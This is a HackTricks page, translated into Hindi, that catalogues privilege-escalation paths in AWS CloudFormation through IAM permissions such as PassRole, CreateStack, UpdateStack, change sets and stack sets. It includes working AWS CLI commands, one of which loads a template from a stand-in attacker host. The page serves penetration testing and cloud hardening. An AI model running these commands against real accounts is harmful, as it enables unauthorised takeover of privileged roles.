AWS - Cloudformation Privesc

Support HackTricks

cloudformation

cloudformation के बारे में अधिक जानकारी के लिए देखें:

iam:PassRole, cloudformation:CreateStack

इन अनुमतियों के साथ एक हमलावर privileges को बढ़ा सकता है एक CloudFormation stack को एक कस्टम टेम्पलेट के साथ तैयार करके, जो उनके सर्वर पर होस्ट किया गया है, ताकि निर्धारित भूमिका के अनुमतियों के तहत क्रियाएँ निष्पादित की जा सकें:

aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>

इस पृष्ठ पर आपके पास एक शोषण उदाहरण है जिसमें अतिरिक्त अनुमति cloudformation:DescribeStacks है:

संभावित प्रभाव: निर्दिष्ट क्लाउडफॉर्मेशन सेवा भूमिका के लिए प्रिवेस्क।

iam:PassRole, (cloudformation:UpdateStack | cloudformation:SetStackPolicy)

इस मामले में आप एक मौजूदा क्लाउडफॉर्मेशन स्टैक का दुरुपयोग कर सकते हैं ताकि इसे अपडेट किया जा सके और पिछले परिदृश्य की तरह विशेषाधिकार बढ़ाए जा सकें:

aws cloudformation update-stack \
--stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
--capabilities CAPABILITY_IAM \
--region eu-west-1

The cloudformation:SetStackPolicy अनुमति का उपयोग अपने लिए UpdateStack अनुमति देने के लिए किया जा सकता है और हमले को अंजाम दिया जा सकता है।

संभावित प्रभाव: क्लाउडफॉर्मेशन सेवा भूमिका में प्रिवेस्क।

cloudformation:UpdateStack | cloudformation:SetStackPolicy

यदि आपके पास यह अनुमति है लेकिन कोई iam:PassRole नहीं है, तो आप अभी भी स्टैक्स को अपडेट कर सकते हैं और IAM भूमिकाओं का दुरुपयोग कर सकते हैं जो पहले से जुड़ी हुई हैं। शोषण उदाहरण के लिए पिछले अनुभाग की जांच करें (बस अपडेट में कोई भूमिका न बताएं)।

cloudformation:SetStackPolicy अनुमति का उपयोग अपने लिए UpdateStack अनुमति देने के लिए किया जा सकता है और हमले को अंजाम दिया जा सकता है।

संभावित प्रभाव: पहले से जुड़ी क्लाउडफॉर्मेशन सेवा भूमिका में प्रिवेस्क।

iam:PassRole,((cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

एक हमलावर जिसके पास भूमिका पास करने और एक ChangeSet बनाने और निष्पादित करने की अनुमति है वह एक नया क्लाउडफॉर्मेशन स्टैक बना/अपडेट कर सकता है और क्लाउडफॉर्मेशन सेवा भूमिकाओं का दुरुपयोग कर सकता है जैसे कि CreateStack या UpdateStack के साथ।

निम्नलिखित शोषण एक भिन्नता है CreateStack एक का जो ChangeSet अनुमतियों का उपयोग करके एक स्टैक बनाने के लिए है।

aws cloudformation create-change-set \
--stack-name privesc \
--change-set-name privesc \
--change-set-type CREATE \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
--capabilities CAPABILITY_IAM \
--region eu-west-1

echo "Waiting 2 mins to change the stack"
sleep 120

aws cloudformation execute-change-set \
--change-set-name privesc \
--stack-name privesc \
--region eu-west-1

echo "Waiting 2 mins to execute the stack"
sleep 120

aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1

The cloudformation:SetStackPolicy अनुमति का उपयोग अपने लिए ChangeSet अनुमतियाँ देने के लिए किया जा सकता है और हमले को अंजाम दिया जा सकता है।

संभावित प्रभाव: cloudformation सेवा भूमिकाओं के लिए प्रिवेस्क।

(cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

यह पिछले तरीके की तरह है बिना IAM भूमिकाएँ पास किए, इसलिए आप बस पहले से जुड़े हुए का दुरुपयोग कर सकते हैं, बस पैरामीटर को संशोधित करें:

--change-set-type UPDATE

संभावित प्रभाव: पहले से जुड़े क्लाउडफॉर्मेशन सेवा भूमिका के लिए प्रिवेस्क।

iam:PassRole,(cloudformation:CreateStackSet | cloudformation:UpdateStackSet)

एक हमलावर इन अनुमतियों का दुरुपयोग करके स्टैकसेट बनाने/अपडेट करने के लिए मनमाने क्लाउडफॉर्मेशन भूमिकाओं का दुरुपयोग कर सकता है।

संभावित प्रभाव: क्लाउडफॉर्मेशन सेवा भूमिकाओं के लिए प्रिवेस्क।

cloudformation:UpdateStackSet

एक हमलावर इस अनुमति का दुरुपयोग बिना passRole अनुमति के स्टैकसेट को अपडेट करने के लिए कर सकता है ताकि जुड़े क्लाउडफॉर्मेशन भूमिकाओं का दुरुपयोग किया जा सके।

संभावित प्रभाव: जुड़े क्लाउडफॉर्मेशन भूमिकाओं के लिए प्रिवेस्क।

संदर्भ

Support HackTricks

Last updated